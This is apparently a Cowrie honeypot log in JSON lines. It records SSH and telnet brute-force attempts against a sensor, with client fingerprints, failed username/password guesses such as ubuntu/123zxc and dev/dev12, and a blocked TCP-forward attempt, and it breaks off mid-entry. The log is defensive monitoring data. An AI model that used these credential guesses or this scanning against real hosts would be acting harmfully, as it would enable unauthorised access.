{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x82n\\x94\\x9c\\x08\\xd7\\xfb\\x02\\xa6\\xf6N\\xa4\\xf3L\\xe83\\x14\\xa9\\x84P\\xb6\\xf2nO\\x12\\xef|\\x18:?X Q\\x14\\xe9\\xc2J\\xb1,\\xfd\\x04\\x9a\\xfd\\x7f3\\x8e\\xf5\\xb9\\xce\\x8b\\xea\\xe5Q\\xbdl\\x17\\xb4\\xb3\\xaf\\x15\\xca\"\\x81\\xd2\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 -H\\'|& \\xf0<s*\\r\\x06\\x03\\xea\\xf6&\\xcf\\xba\\x9f0\\xce.\\x8d\\x19\\x98Ek;~}\\xea%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03z\\x82n\\x94\\x9c\\x08\\xd7\\xfb\\x02\\xa6\\xf6N\\xa4\\xf3L\\xe83\\x14\\xa9\\x84P\\xb6\\xf2nO\\x12\\xef|\\x18:?X Q\\x14\\xe9\\xc2J\\xb1,\\xfd\\x04\\x9a\\xfd\\x7f3\\x8e\\xf5\\xb9\\xce\\x8b\\xea\\xe5Q\\xbdl\\x17\\xb4\\xb3\\xaf\\x15\\xca\"\\x81\\xd2\\x00\"\\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xba\\xba\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 -H\\'|& \\xf0<s*\\r\\x06\\x03\\xea\\xf6&\\xcf\\xba\\x9f0\\xce.\\x8d\\x19\\x98Ek;~}\\xea%\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:54.294047Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:54.646726Z","src_ip":"113.164.152.20","session":"707cfabfb0fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56526,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6e19d7ee5b9","protocol":"ssh","message":"New connection: 91.92.40.36:56526 (159.203.135.109:22) [session: f6e19d7ee5b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:55.674431Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50886,"dst_ip":"159.203.135.109","dst_port":23,"session":"9244532a45ee","protocol":"telnet","message":"New connection: 128.199.8.54:50886 (159.203.135.109:23) [session: 9244532a45ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:55.843816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:56.534299Z","src_ip":"91.92.40.36","session":"f6e19d7ee5b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:00:56.539049Z","src_ip":"91.92.40.36","session":"f6e19d7ee5b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jamaal","password":"jamaal","message":"login attempt [jamaal/jamaal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:00.833910Z","src_ip":"91.92.40.36","session":"f6e19d7ee5b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:03.005866Z","src_ip":"91.92.40.36","session":"f6e19d7ee5b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":56644,"dst_ip":"159.203.135.109","dst_port":22,"session":"81fa938b3baa","protocol":"ssh","message":"New connection: 91.92.40.36:56644 (159.203.135.109:22) [session: 81fa938b3baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:03.999732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:04.676650Z","src_ip":"91.92.40.36","session":"81fa938b3baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:04.681439Z","src_ip":"91.92.40.36","session":"81fa938b3baa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52964,"dst_ip":"159.203.135.109","dst_port":23,"session":"64147a3a76d9","protocol":"telnet","message":"New connection: 172.81.62.90:52964 (159.203.135.109:23) [session: 64147a3a76d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:06.671645Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48212,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff9a0b0e12cd","protocol":"telnet","message":"New connection: 172.81.62.90:48212 (159.203.135.109:23) [session: ff9a0b0e12cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:07.680014Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qmfltmqjs!@#$","message":"login attempt [ubuntu/qmfltmqjs!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:08.418952Z","src_ip":"91.92.40.36","session":"81fa938b3baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:10.220244Z","src_ip":"91.92.40.36","session":"81fa938b3baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.70675206184387,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:11.966513Z","src_ip":"172.81.62.90","session":"0bf2e0b1ae22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":28742,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a557cfb159","protocol":"ssh","message":"New connection: 91.92.40.36:28742 (159.203.135.109:22) [session: f6a557cfb159]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:12.703454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:12.708652Z","src_ip":"91.92.40.36","session":"f6a557cfb159","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:13.467737Z","src_ip":"91.92.40.36","session":"f6a557cfb159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52978,"dst_ip":"159.203.135.109","dst_port":23,"session":"b14f23a9ca17","protocol":"telnet","message":"New connection: 172.81.62.90:52978 (159.203.135.109:23) [session: b14f23a9ca17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:14.751194Z"}
{"eventid":"cowrie.login.failed","username":"nathalie","password":"nathalie","message":"login attempt [nathalie/nathalie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:15.709864Z","src_ip":"91.92.40.36","session":"f6a557cfb159","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:17.771755Z","src_ip":"91.92.40.36","session":"f6a557cfb159","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52332,"dst_ip":"159.203.135.109","dst_port":22,"session":"61b3e81276ad","protocol":"ssh","message":"New connection: 91.92.40.36:52332 (159.203.135.109:22) [session: 61b3e81276ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:18.426805Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:19.742216Z","src_ip":"91.92.40.36","session":"61b3e81276ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:19.745474Z","src_ip":"91.92.40.36","session":"61b3e81276ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":53766,"dst_ip":"159.203.135.109","dst_port":23,"session":"536ffca9ca54","protocol":"telnet","message":"New connection: 172.81.62.90:53766 (159.203.135.109:23) [session: 536ffca9ca54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:20.961782Z"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12","message":"login attempt [dev/dev12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:22.942110Z","src_ip":"91.92.40.36","session":"61b3e81276ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:24.846245Z","src_ip":"91.92.40.36","session":"61b3e81276ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23156,"dst_ip":"159.203.135.109","dst_port":22,"session":"369b8ed09ca2","protocol":"ssh","message":"New connection: 91.92.40.36:23156 (159.203.135.109:22) [session: 369b8ed09ca2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:26.040193Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:26.971561Z","src_ip":"91.92.40.36","session":"369b8ed09ca2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:26.975470Z","src_ip":"91.92.40.36","session":"369b8ed09ca2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123zxc","message":"login attempt [ubuntu/123zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:32.217177Z","src_ip":"91.92.40.36","session":"369b8ed09ca2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23204,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e4ff9a1da93","protocol":"ssh","message":"New connection: 91.92.40.36:23204 (159.203.135.109:22) [session: 9e4ff9a1da93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:33.154078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:01:34.313069Z","src_ip":"91.92.40.36","session":"9e4ff9a1da93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha